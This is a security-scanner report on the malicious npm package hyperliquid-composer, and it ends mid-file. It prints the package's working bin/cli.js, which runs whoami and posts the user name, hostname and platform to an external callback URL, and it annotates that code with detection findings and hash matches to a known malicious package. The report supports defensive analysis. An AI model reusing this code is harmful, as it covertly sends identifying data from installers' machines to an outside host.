hyperliquid-composer@1.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

hyperliquid-composer@1.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

7 flagged · loading source

bin/cli.jsView file

2L3: const { execFileSync } = require("node:child_process"); L4: const os = require("node:os"); L5: const { name } = require("../package.json"); L6: L7: const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9"; L8: ... L13: try { L14: return os.userInfo().username; L15: } catch { ... L34: }, L35: body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

•matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

9function whoami() { try { return execFileSync("whoami", { encoding: "utf8" }).trim(); } catch { try { return os.userInfo().username; } catch { return "unknown"; } } }

High

Ai Review Evidence

The CLI collects the current user name, with a system-account fallback.

bin/cli.jsView on unpkg · L9

23const url = new URL(OOB_URL); url.searchParams.set("pkg", name); url.searchParams.set("whoami", user); try { await fetch(url.toString(), { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": `npx/${name}`, "X-Package-Name": name, }, body: JSON.stringify({ pkg: name, whoami: user, hostname: os.hostname(), platform: os.platform(), }),

High

Ai Review Evidence

It sends the user name and host identity details to an unrelated external callback.

bin/cli.jsView on unpkg · L23

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

2"name": "hyperliquid-composer", "version": "1.0.0", "description": "Minimal npx package that POSTs package name and whoami to an OOB callback", "bin": { "cre-setup": "bin/cli.js"

High

Ai Review Evidence

The manifest explicitly describes this as an out-of-band callback package.

package.jsonView on unpkg · L2

Source & flagged code

7 flagged

bin/cli.jsView file

Lines 1-43javascript

1#!/usr/bin/env node

2

3const { execFileSync } = require("node:child_process");

4const os = require("node:os");

5const { name } = require("../package.json");

6

7const OOB_URL = "https://oobme.kunalsharma0553.workers.dev/r/7bq6fz3l15r9";

8

9function whoami() {

10 try {

11 return execFileSync("whoami", { encoding: "utf8" }).trim();

12 } catch {

13 try {

14 return os.userInfo().username;

15 } catch {

16 return "unknown";

17 }

18 }

19}

High

Ai Review Evidence

The CLI collects the current user name, with a system-account fallback.

bin/cli.jsView on unpkg · L9

20

21async function main() {

22 const user = whoami();

23 const url = new URL(OOB_URL);

24 url.searchParams.set("pkg", name);

25 url.searchParams.set("whoami", user);

26

27 try {

28 await fetch(url.toString(), {

29 method: "POST",

30 headers: {

31 "Content-Type": "application/json",

32 "User-Agent": `npx/${name}`,

33 "X-Package-Name": name,

34 },

High

Ai Review Evidence

It sends the user name and host identity details to an unrelated external callback.

bin/cli.jsView on unpkg · L23

35 body: JSON.stringify({

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

bin/cli.jsView on unpkg · L2

36 pkg: name,

37 whoami: user,

38 hostname: os.hostname(),

39 platform: os.platform(),

40 }),

41 });

42 } catch {

43 // OOB ping is best-effort; exit cleanly either way

•matchType = normalized_sha256 matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/cli.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = ca5e18460ef063fd signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = generate-schema-ethers@1.0.0 matchedPath = bin/cli.js matchedIdentity = npm:Z2VuZXJhdGUtc2NoZW1hLWV0aGVycw:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

bin/cli.jsView on unpkg

package.jsonView file

Lines 1-20json

1{

2 "name": "hyperliquid-composer",

3 "version": "1.0.0",

4 "description": "Minimal npx package that POSTs package name and whoami to an OOB callback",

5 "bin": {

6 "cre-setup"